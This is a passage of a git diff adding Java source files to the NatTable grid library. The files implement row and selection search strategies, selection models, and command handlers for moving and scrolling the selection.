{ + final int numberOfColumnsToSearch = (columnCount - startingColumnPosition); + final int[] columnPositions = new int[numberOfColumnsToSearch]; + for (int columnPosition = 0; columnPosition < numberOfColumnsToSearch; columnPosition++) { + columnPositions[columnPosition] = startingColumnPosition + columnPosition; + } + return columnPositions; + } + + protected int[] getDescendingColumnsToSearchArray(int startingColumnPosition) { + final int[] columnPositions = new int[startingColumnPosition + 1]; + for (int columnPosition = 0; startingColumnPosition >= 0; columnPosition++) { + columnPositions[columnPosition] = startingColumnPosition-- ; + } + return columnPositions; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/ISearchStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/ISearchStrategy.java new file mode 100644 index 0000000..39540b0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/ISearchStrategy.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.search.strategy; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; + +public interface ISearchStrategy { + + public PositionCoordinate executeSearch(Object valueToMatch); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/RowSearchStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/RowSearchStrategy.java new file mode 100644 index 0000000..73312d7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/RowSearchStrategy.java @@ -0,0 +1,42 @@ +package net.sourceforge.nattable.search.strategy; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.search.ISearchDirection; + +public class RowSearchStrategy extends AbstractSearchStrategy { + + private final IConfigRegistry configRegistry; + private final int[] rowPositions; + private final String searchDirection; + + public RowSearchStrategy(int[] rowPositions, IConfigRegistry configRegistry) { + this(rowPositions, configRegistry, ISearchDirection.SEARCH_FORWARD); + } + + public RowSearchStrategy(int[] rowPositions, IConfigRegistry configRegistry, String searchDirection) { + this.rowPositions = rowPositions; + this.configRegistry = configRegistry; + this.searchDirection = searchDirection; + } + + public PositionCoordinate executeSearch(Object valueToMatch) { + return CellDisplayValueSearchUtil.findCell(getContextLayer(), configRegistry, getRowCellsToSearch(getContextLayer()), valueToMatch, getComparator(), isCaseSensitive()); + } + + protected PositionCoordinate[] getRowCellsToSearch(ILayer contextLayer) { + List cellsToSearch = new ArrayList(); + for (int rowPosition : rowPositions) { + cellsToSearch.addAll(CellDisplayValueSearchUtil.getCellCoordinates(getContextLayer(), 0, rowPosition, contextLayer.getColumnCount(), 1)); + } + if (searchDirection.equals(ISearchDirection.SEARCH_BACKWARDS)) { + Collections.reverse(cellsToSearch); + } + return cellsToSearch.toArray(new PositionCoordinate[0]); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/SelectionSearchStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/SelectionSearchStrategy.java new file mode 100644 index 0000000..0d6ebbc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/SelectionSearchStrategy.java @@ -0,0 +1,48 @@ +package net.sourceforge.nattable.search.strategy; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.search.ISearchDirection; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class SelectionSearchStrategy extends AbstractSearchStrategy { + + private final IConfigRegistry configRegistry; + private final String searchDirection; + + public SelectionSearchStrategy(IConfigRegistry configRegistry) { + this(configRegistry, ISearchDirection.SEARCH_FORWARD); + } + + public SelectionSearchStrategy(IConfigRegistry configRegistry, String searchDirection) { + this.configRegistry = configRegistry; + this.searchDirection = searchDirection; + } + + public PositionCoordinate executeSearch(Object valueToMatch) { + ILayer contextLayer = getContextLayer(); + if (! (contextLayer instanceof SelectionLayer)) { + throw new RuntimeException("For the GridSearchStrategy to work it needs the selectionLayer to be passed as the contextLayer."); + } + SelectionLayer selectionLayer = (SelectionLayer)contextLayer; + PositionCoordinate coordinate = CellDisplayValueSearchUtil.findCell(selectionLayer, configRegistry, getSelectedCells(selectionLayer), valueToMatch, getComparator(), isCaseSensitive()); + return coordinate; + } + + protected PositionCoordinate[] getSelectedCells(SelectionLayer selectionLayer) { + PositionCoordinate[] selectedCells = null; + if (searchDirection.equals(ISearchDirection.SEARCH_BACKWARDS)) { + List coordinates = Arrays.asList(selectionLayer.getSelectedCells()); + Collections.reverse(coordinates); + selectedCells = coordinates.toArray(new PositionCoordinate[0]); + } else { + selectedCells = selectionLayer.getSelectedCells(); + } + return selectedCells; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/ISelectionModel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/ISelectionModel.java new file mode 100644 index 0000000..2c39e78 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/ISelectionModel.java @@ -0,0 +1,71 @@ +package net.sourceforge.nattable.selection; + +import java.util.List; +import java.util.Set; + +import net.sourceforge.nattable.coordinate.Range; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * Tracks the selections made in the table. + */ +public interface ISelectionModel { + + public boolean isCellPositionSelected(int columnPosition, int rowPosition); + + public boolean isRowPositionSelected(int rowPosition); + + /** + * @see #isColumnFullySelected(int, int) + */ + public boolean isRowFullySelected(int rowPosition, int rowWidth); + + /** + * Is a cell in this column selected ? + */ + public boolean isColumnPositionSelected(int columnPosition); + + /** + * Are all cells in this column selected ? + * Different selection rectangles might aggregate to cover the entire column. + * We need to take into account any overlapping selections or any selection rectangles + * contained within each other. + * + * @see the related tests for a better understanding. + */ + public boolean isColumnFullySelected(int columnPosition, int fullySelectedColumnRowCount); + + public void addSelection(int columnPosition, int rowPosition); + + public void addSelection(final Rectangle range); + + public void clearSelection(); + + public void removeSelection(Rectangle removedSelection); + + public void removeSelection(int columnPosition, int rowPosition); + + public boolean isEmpty(); + + /** + * @return all selected rows in the model + */ + public Set getSelectedRows(); + + public int getSelectedRowCount(); + + public int[] getFullySelectedRows(int rowWidth); + + public int[] getSelectedColumns(); + + /** + * Get the positions of all fully selected columns. + * @param fullySelectedColumnRowCount the number of rows in a fully selected column + * @return + */ + public int[] getFullySelectedColumns(int fullySelectedColumnRowCount); + + public List getSelections(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveCellSelectionCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveCellSelectionCommandHandler.java new file mode 100644 index 0000000..06729da --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveCellSelectionCommandHandler.java @@ -0,0 +1,88 @@ +package net.sourceforge.nattable.selection; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +/** + * Specifies the semantics of moving the selection in the table, based on selecting the adjoining cell(s). + */ +public class MoveCellSelectionCommandHandler extends MoveSelectionCommandHandler { + + protected int newSelectedColumnPosition; + protected int newSelectedRowPosition; + protected PositionCoordinate lastSelectedCell; + + public MoveCellSelectionCommandHandler(SelectionLayer selectionLayer) { + super(selectionLayer); + } + + @Override + protected void moveLastSelectedLeft(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (selectionLayer.hasColumnSelection()) { + lastSelectedCell = selectionLayer.getCellPositionToMoveFrom(withShiftMask, withControlMask); + int newSelectedRowPosition = lastSelectedCell.rowPosition; + + newSelectedColumnPosition = (stepSize >= 0) ? (lastSelectedCell.columnPosition - stepSize) : 0; + if (newSelectedColumnPosition < 0) { + newSelectedColumnPosition = 0; + } + if(stepSize == SelectionLayer.MOVE_ALL && !withShiftMask){ + selectionLayer.clear(); + } + selectionLayer.selectCell(newSelectedColumnPosition, newSelectedRowPosition, withShiftMask, withControlMask); + selectionLayer.fireCellSelectionEvent(lastSelectedCell.columnPosition, lastSelectedCell.rowPosition, false, withShiftMask, withControlMask); + } + } + + @Override + protected void moveLastSelectedRight(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (selectionLayer.hasColumnSelection()) { + lastSelectedCell = selectionLayer.getCellPositionToMoveFrom(withShiftMask, withControlMask); + int newSelectedRowPosition = lastSelectedCell.rowPosition; + + newSelectedColumnPosition = (stepSize >= 0) + ? (lastSelectedCell.columnPosition + stepSize) + : selectionLayer.getColumnCount() - 1; + if (newSelectedColumnPosition >= selectionLayer.getColumnCount()) { + newSelectedColumnPosition = selectionLayer.getColumnCount() - 1; + } + if(stepSize == SelectionLayer.MOVE_ALL && !withShiftMask){ + selectionLayer.clear(); + } + + selectionLayer.selectCell(newSelectedColumnPosition, newSelectedRowPosition, withShiftMask, withControlMask); + selectionLayer.fireCellSelectionEvent(lastSelectedCell.columnPosition, lastSelectedCell.rowPosition, false, withShiftMask, withControlMask); + } + } + + @Override + protected void moveLastSelectedUp(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (selectionLayer.hasRowSelection()) { + lastSelectedCell = selectionLayer.getCellPositionToMoveFrom(withShiftMask, withControlMask); + newSelectedRowPosition = stepSize >= 0 ? lastSelectedCell.rowPosition - stepSize : 0; + if (newSelectedRowPosition < 0) { + newSelectedRowPosition = 0; + } + selectionLayer.selectCell(lastSelectedCell.columnPosition, newSelectedRowPosition, withShiftMask, withControlMask); + selectionLayer.fireCellSelectionEvent(lastSelectedCell.columnPosition, lastSelectedCell.rowPosition, false, withShiftMask, withControlMask); + } + } + + @Override + protected void moveLastSelectedDown(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (selectionLayer.hasRowSelection()) { + lastSelectedCell = selectionLayer.getCellPositionToMoveFrom(withShiftMask, withControlMask); + newSelectedRowPosition = stepSize >= 0 ? lastSelectedCell.rowPosition + stepSize : selectionLayer.getRowCount() - 1; + if (newSelectedRowPosition >= selectionLayer.getRowCount()) { + newSelectedRowPosition = selectionLayer.getRowCount() - 1; + } + selectionLayer.selectCell(lastSelectedCell.columnPosition, newSelectedRowPosition, withShiftMask, withControlMask); + selectionLayer.fireCellSelectionEvent(lastSelectedCell.columnPosition, lastSelectedCell.rowPosition, false, withShiftMask, withControlMask); + } + } + + public Class getCommandClass() { + return MoveSelectionCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveRowSelectionCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveRowSelectionCommandHandler.java new file mode 100644 index 0000000..b177fa8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveRowSelectionCommandHandler.java @@ -0,0 +1,51 @@ +package net.sourceforge.nattable.selection; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; + +/** + * Preserves the basic semantics of the cell selection.
    + * Additionally it selects the entire row when a cell in the row is selected.
    + */ +public class MoveRowSelectionCommandHandler extends MoveCellSelectionCommandHandler { + + public MoveRowSelectionCommandHandler(SelectionLayer selectionLayer) { + super(selectionLayer); + } + + @Override + protected void moveLastSelectedLeft(int stepSize, boolean withShiftMask, boolean withControlMask) { + super.moveLastSelectedLeft(stepSize, withShiftMask, withControlMask); + selectionLayer.selectRow(newSelectedColumnPosition, lastSelectedCell.rowPosition, withShiftMask, withControlMask); + } + + @Override + protected void moveLastSelectedRight(int stepSize, boolean withShiftMask, boolean withControlMask) { + super.moveLastSelectedRight(stepSize, withShiftMask, withControlMask); + selectionLayer.selectRow(lastSelectedCell.columnPosition, lastSelectedCell.rowPosition, withShiftMask, withControlMask); + } + + @Override + protected void moveLastSelectedUp(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (selectionLayer.hasRowSelection()) { + PositionCoordinate lastSelectedCell = selectionLayer.getCellPositionToMoveFrom(withShiftMask, withControlMask); + int newSelectedRowPosition = stepSize >= 0 ? lastSelectedCell.rowPosition - stepSize : 0; + if (newSelectedRowPosition < 0) { + newSelectedRowPosition = 0; + } + selectionLayer.selectRow(lastSelectedCell.columnPosition, newSelectedRowPosition, withShiftMask, withControlMask); + } + } + + @Override + protected void moveLastSelectedDown(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (selectionLayer.hasRowSelection()) { + PositionCoordinate lastSelectedCell = selectionLayer.getCellPositionToMoveFrom(withShiftMask, withControlMask); + int newSelectedRowPosition = stepSize >= 0 ? lastSelectedCell.rowPosition + stepSize : selectionLayer.getRowCount() - 1; + if (newSelectedRowPosition >= selectionLayer.getRowCount()) { + newSelectedRowPosition = selectionLayer.getRowCount() - 1; + } + selectionLayer.selectRow(lastSelectedCell.columnPosition, newSelectedRowPosition, withShiftMask, withControlMask); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveSelectionCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveSelectionCommandHandler.java new file mode 100644 index 0000000..ee9ab0f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/MoveSelectionCommandHandler.java @@ -0,0 +1,57 @@ +package net.sourceforge.nattable.selection; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +/** + * Abstraction of the selection behavior during navigation in the grid.
    + * Implementations of this class specify what to select when the selection moves
    + * by responding to the {@link MoveSelectionCommand}.
    + * + * @param an instance of the {@link MoveSelectionCommand} + * @see MoveCellSelectionCommandHandler + * @see MoveRowSelectionCommandHandler + */ +public abstract class MoveSelectionCommandHandler implements ILayerCommandHandler { + + protected final SelectionLayer selectionLayer; + + public MoveSelectionCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public boolean doCommand(ILayer targetLayer, T command) { + if (command.convertToTargetLayer(selectionLayer)) { + moveSelection(command.getDirection(), command.getStepSize(), command.isShiftMask(), command.isControlMask()); + return true; + } + return false; + } + + protected void moveSelection(MoveDirectionEnum moveDirection, int stepSize, boolean withShiftMask, boolean withControlMask) { + switch (moveDirection) { + case UP: + moveLastSelectedUp(stepSize, withShiftMask, withControlMask); + break; + case DOWN: + moveLastSelectedDown(stepSize, withShiftMask, withControlMask); + break; + case LEFT: + moveLastSelectedLeft(stepSize, withShiftMask, withControlMask); + break; + case RIGHT: + moveLastSelectedRight(stepSize, withShiftMask, withControlMask); + break; + default: + break; + } + } + + protected abstract void moveLastSelectedRight(int stepSize, boolean withShiftMask, boolean withControlMask); + protected abstract void moveLastSelectedLeft(int stepSize, boolean withShiftMask, boolean withControlMask); + protected abstract void moveLastSelectedUp(int stepSize, boolean withShiftMask, boolean withControlMask); + protected abstract void moveLastSelectedDown(int stepSize, boolean withShiftMask, boolean withControlMask); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionModel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionModel.java new file mode 100644 index 0000000..9e4eccf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionModel.java @@ -0,0 +1,310 @@ +package net.sourceforge.nattable.selection; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.data.IRowIdAccessor; + +import org.eclipse.swt.graphics.Rectangle; + +public class RowSelectionModel implements ISelectionModel { + + private final SelectionLayer selectionLayer; + private final IRowDataProvider rowDataProvider; + private final IRowIdAccessor rowIdAccessor; + + private Map selectedRows; + private Rectangle lastSelectedRange; // *live* reference to last range parameter used in addSelection(range) + private Set lastSelectedRowIds; + private final ReadWriteLock selectionsLock; + + public RowSelectionModel(SelectionLayer selectionLayer, IRowDataProvider rowDataProvider, IRowIdAccessor rowIdAccessor) { + this.selectionLayer = selectionLayer; + this.rowDataProvider = rowDataProvider; + this.rowIdAccessor = rowIdAccessor; + + selectedRows = new HashMap(); + selectionsLock = new ReentrantReadWriteLock(); + } + + public void clearSelection() { + selectionsLock.writeLock().lock(); + try { + selectedRows.clear(); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public boolean isColumnPositionSelected(int columnPosition) { + selectionsLock.readLock().lock(); + + try { + return !selectedRows.isEmpty(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public int[] getSelectedColumns() { + if (!isEmpty()) { + selectionsLock.readLock().lock(); + + int columnCount; + + try { + columnCount = selectionLayer.getColumnCount(); + } finally { + selectionsLock.readLock().unlock(); + } + + int[] columns = new int[columnCount]; + for (int i = 0; i < columnCount; i++) { + columns[i] = i; + } + return columns; + } + return new int[] {}; + } + + public void addSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + R rowObject = getRowObjectByPosition(rowPosition); + if (rowObject != null) { + Serializable rowId = rowIdAccessor.getRowId(rowObject); + selectedRows.put(rowId, rowObject); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void addSelection(Rectangle range) { + selectionsLock.writeLock().lock(); + + try { + if (range == lastSelectedRange) { + // Unselect all previously selected rowIds + if (lastSelectedRowIds != null) { + for (Serializable rowId : lastSelectedRowIds) { + selectedRows.remove(rowId); + } + } + } + + Map rowsToSelect = new HashMap(); + + for (int rowPosition = range.y; rowPosition < range.y + range.height; rowPosition++) { + R rowObject = getRowObjectByPosition(rowPosition); + if (rowObject != null) { + Serializable rowId = rowIdAccessor.getRowId(rowObject); + rowsToSelect.put(rowId, rowObject); + } + } + + selectedRows.putAll(rowsToSelect); + + if (range == lastSelectedRange) { + lastSelectedRowIds = rowsToSelect.keySet(); + } else { + lastSelectedRowIds = null; + } + + lastSelectedRange = range; + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public int[] getFullySelectedColumns(int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + if (isColumnFullySelected(0, fullySelectedColumnRowCount)) { + return getSelectedColumns(); + } + } finally { + selectionsLock.readLock().unlock(); + } + + return new int[] {}; + } + + public int[] getFullySelectedRows(int rowWidth) { + selectionsLock.readLock().lock(); + + try { + int selectedRowCount = selectedRows.size(); + int[] selectedRowPositions = new int[selectedRowCount]; + int i = 0; + for (Serializable rowId : selectedRows.keySet()) { + selectedRowPositions[i] = getRowPositionById(rowId); + i++; + } + return selectedRowPositions; + } finally { + selectionsLock.readLock().unlock(); + } + } + + public int getSelectedRowCount() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public Set getSelectedRows() { + Set selectedRowRanges = new HashSet(); + + selectionsLock.readLock().lock(); + + try { + for (Serializable rowId : selectedRows.keySet()) { + int rowPosition = getRowPositionById(rowId); + selectedRowRanges.add(new Range(rowPosition, rowPosition + 1)); + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectedRowRanges; + } + + public List getSelections() { + List selectionRectangles = new ArrayList(); + + selectionsLock.readLock().lock(); + + try { + int width = selectionLayer.getColumnCount(); + for (Serializable rowId : selectedRows.keySet()) { + int rowPosition = getRowPositionById(rowId); + selectionRectangles.add(new Rectangle(0, rowPosition, width, 1)); + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectionRectangles; + } + + public boolean isCellPositionSelected(int columnPosition, int rowPosition) { + return isRowPositionSelected(rowPosition); + } + + public boolean isColumnFullySelected(int columnPosition, int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size() == fullySelectedColumnRowCount; + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isEmpty() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.isEmpty(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isRowFullySelected(int rowPosition, int rowWidth) { + return isRowPositionSelected(rowPosition); + } + + public boolean isRowPositionSelected(int rowPosition) { + selectionsLock.readLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + return selectedRows.containsKey(rowId); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public void removeSelection(Rectangle removedSelection) { + selectionsLock.writeLock().lock(); + + try { + for (int rowPosition = removedSelection.y; rowPosition < removedSelection.y + removedSelection.height; rowPosition++) { + removeSelection(0, rowPosition); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void removeSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + selectedRows.remove(rowId); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + private Serializable getRowIdByPosition(int rowPosition) { + R rowObject = getRowObjectByPosition(rowPosition); + if (rowObject != null) { + Serializable rowId = rowIdAccessor.getRowId(rowObject); + return rowId; + } + return null; + } + + private R getRowObjectByPosition(int rowPosition) { + selectionsLock.readLock().lock(); + + try { + int rowIndex = selectionLayer.getRowIndexByPosition(rowPosition); + if (rowIndex >= 0) { + try { + R rowObject = rowDataProvider.getRowObject(rowIndex); + return rowObject; + } catch (Exception e) { + // row index is invalid for the data provider + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return null; + } + + private int getRowPositionById(Serializable rowId) { + selectionsLock.readLock().lock(); + + try { + R rowObject = selectedRows.get(rowId); + int rowIndex = rowDataProvider.indexOfRowObject(rowObject); + int rowPosition = selectionLayer.getRowPositionByIndex(rowIndex); + return rowPosition; + } finally { + selectionsLock.readLock().unlock(); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionPreserver.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionPreserver.java new file mode 100644 index 0000000..9d988c8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionPreserver.java @@ -0,0 +1,90 @@ +package net.sourceforge.nattable.selection; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.layer.event.ILayerEventHandler; +import net.sourceforge.nattable.layer.event.IVisualChangeEvent; +import net.sourceforge.nattable.layer.event.RowStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.RowStructuralRefreshEvent; +import net.sourceforge.nattable.sort.event.SortColumnEvent; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; + +/** + * Preserves the selected row when the underlying data changes or column is sorted.
    + * + * Example: + * Data 'A' is the 1st row. An update comes in and data 'A' moves to the 5th row. + * This class clears current selection and selects row 5. + * + * @param Type of row object beans in the underlying data source + * @deprecated Use SelectionLayer.setSelectionModel(new RowSelectionModel(...)) instead + */ +public class RowSelectionPreserver implements ILayerEventHandler { + + private final SelectionLayer selectionLayer; + private final RowSelectionProvider selectionProvider; + private final IRowDataProvider rowDataProvider; + + /** Track the selected objects */ + private List selectedRowObjects = new ArrayList(); + + public RowSelectionPreserver(SelectionLayer selectionLayer, IRowDataProvider rowDataProvider) { + this.selectionLayer = selectionLayer; + this.rowDataProvider = rowDataProvider; + + selectionProvider = new RowSelectionProvider(selectionLayer, rowDataProvider, true); + + selectionProvider.addSelectionChangedListener(new ISelectionChangedListener() { + @SuppressWarnings("unchecked") + public void selectionChanged(SelectionChangedEvent event) { + selectedRowObjects = ((StructuredSelection) event.getSelection()).toList(); + } + }); + } + + /** + * Checks if all the previously selected objects are available in the data provider. + * Previously selected object might have been deleted from the list. + */ + private List getValidSelections() { + List newSelection = new ArrayList(); + + for (T rowObj : selectedRowObjects) { + int index = rowDataProvider.indexOfRowObject(rowObj); + if (index != -1){ + newSelection.add(rowObj); + } + } + return newSelection; + } + + /** + * On a change in the underlying data: + *
      + *
    1. Clears the selection + *
    2. Re-select the row objects selected earlier. + *
    + */ + public void handleLayerEvent(IVisualChangeEvent event) { + if(ObjectUtils.isEmpty(selectedRowObjects)){ + return; + } + + if (event instanceof RowStructuralRefreshEvent + || event instanceof RowStructuralChangeEvent + || event instanceof SortColumnEvent) { + selectionLayer.clear(); + selectionProvider.setSelection(new StructuredSelection(getValidSelections())); + } + } + + public Class getLayerEventClass() { + return IVisualChangeEvent.class; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionProvider.java new file mode 100644 index 0000000..c489291 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/RowSelectionProvider.java @@ -0,0 +1,111 @@ +package net.sourceforge.nattable.selection; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.selection.command.SelectRowsCommand; +import net.sourceforge.nattable.selection.event.ISelectionEvent; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; + +public class RowSelectionProvider implements ISelectionProvider, ILayerListener { + + private SelectionLayer selectionLayer; + private final IRowDataProvider rowDataProvider; + private final boolean fullySelectedRowsOnly; + private Set listeners = new HashSet(); + + public RowSelectionProvider(SelectionLayer selectionLayer, IRowDataProvider rowDataProvider) { + this(selectionLayer, rowDataProvider, true); + } + + public RowSelectionProvider(SelectionLayer selectionLayer, IRowDataProvider rowDataProvider, boolean fullySelectedRowsOnly) { + this.selectionLayer = selectionLayer; + this.rowDataProvider = rowDataProvider; + this.fullySelectedRowsOnly = fullySelectedRowsOnly; + + selectionLayer.addLayerListener(this); + } + + public void addSelectionChangedListener(ISelectionChangedListener listener) { + listeners.add(listener); + } + + public ISelection getSelection() { + return populateRowSelection(selectionLayer, rowDataProvider, fullySelectedRowsOnly); + } + + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + listeners.remove(listener); + } + + @SuppressWarnings("unchecked") + public void setSelection(ISelection selection) { + if (selectionLayer != null && selection instanceof IStructuredSelection) { + selectionLayer.clear(); + List rowObjects = ((IStructuredSelection) selection).toList(); + Set rowPositions = new HashSet(); + for (T rowObject : rowObjects) { + int rowIndex = rowDataProvider.indexOfRowObject(rowObject); + int rowPosition = selectionLayer.getRowPositionByIndex(rowIndex); + rowPositions.add(Integer.valueOf(rowPosition)); + } + selectionLayer.doCommand(new SelectRowsCommand(selectionLayer, 0, ObjectUtils.asIntArray(rowPositions), false, true)); + } + } + + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof ISelectionEvent) { + if (fullySelectedRowsOnly && selectionLayer.getFullySelectedRowPositions().length == 0) { + return; + } + + ISelection selection = getSelection(); + for (ISelectionChangedListener listener : listeners) { + listener.selectionChanged(new SelectionChangedEvent(this, selection)); + } + } + } + + @SuppressWarnings("unchecked") + static StructuredSelection populateRowSelection(SelectionLayer selectionLayer, IRowDataProvider rowDataProvider, boolean fullySelectedRowsOnly) { + List rows = new ArrayList(); + + if (selectionLayer != null) { + if (fullySelectedRowsOnly) { + for (int rowPosition : selectionLayer.getFullySelectedRowPositions()) { + addToSelection(rows, rowPosition, selectionLayer, rowDataProvider); + } + } else { + Set rowRanges = selectionLayer.getSelectedRows(); + for (Range rowRange : rowRanges) { + for (int rowPosition = rowRange.start; rowPosition < rowRange.end; rowPosition++) { + addToSelection(rows, rowPosition, selectionLayer, rowDataProvider); + } + } + } + } + + return new StructuredSelection(rows); + } + + @SuppressWarnings("unchecked") + private static void addToSelection(List rows, int rowPosition, SelectionLayer selectionLayer, IRowDataProvider rowDataProvider) { + int rowIndex = selectionLayer.getRowIndexByPosition(rowPosition); + Object rowObject = rowDataProvider.getRowObject(rowIndex); + rows.add(rowObject); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/ScrollSelectionCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/ScrollSelectionCommandHandler.java new file mode 100644 index 0000000..c1a84ca --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/ScrollSelectionCommandHandler.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.selection; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; +import net.sourceforge.nattable.viewport.ViewportLayer; + +public class ScrollSelectionCommandHandler extends AbstractLayerCommandHandler { + + private final ViewportLayer viewportLayer; + + public ScrollSelectionCommandHandler(ViewportLayer viewportLayer) { + this.viewportLayer = viewportLayer; + } + + public Class getCommandClass() { + return ScrollSelectionCommand.class; + } + + @Override + protected boolean doCommand(ScrollSelectionCommand command) { + viewportLayer.scrollVerticallyByAPage(command); + return true; + } + +} diff --git 